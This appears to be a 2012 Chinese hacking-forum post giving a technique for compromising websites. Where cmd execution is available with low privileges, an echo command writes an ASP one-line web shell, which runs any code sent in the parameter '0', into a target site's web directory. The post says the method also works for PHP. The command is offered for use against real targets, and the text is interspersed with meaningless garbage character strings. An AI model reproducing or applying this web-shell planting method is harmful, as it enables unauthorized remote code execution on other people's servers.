在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。5 o9 C6 b$ {. O, @( M
% @/ V/ t3 F& v; w N2 Y/ R
命令格式
1 t% K4 |/ s; p2 h0 \7 N1 K& w% S
Echo 语句 >目标站绝对目录( _* Z8 W; D! H/ ], @
5 V7 z9 M; h' _, g; k
例如： , l' H! k [/ s9 a0 T
9 ]& z# p, v7 `! X7 p j: I9 Zecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp) E' G. K6 Y2 C
0 m5 l% R2 ^; {这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
) [, _: Y7 ~2 k) F( a+ I7 g |
发表于 2012-9-23 14:40:24
收藏
支持
反对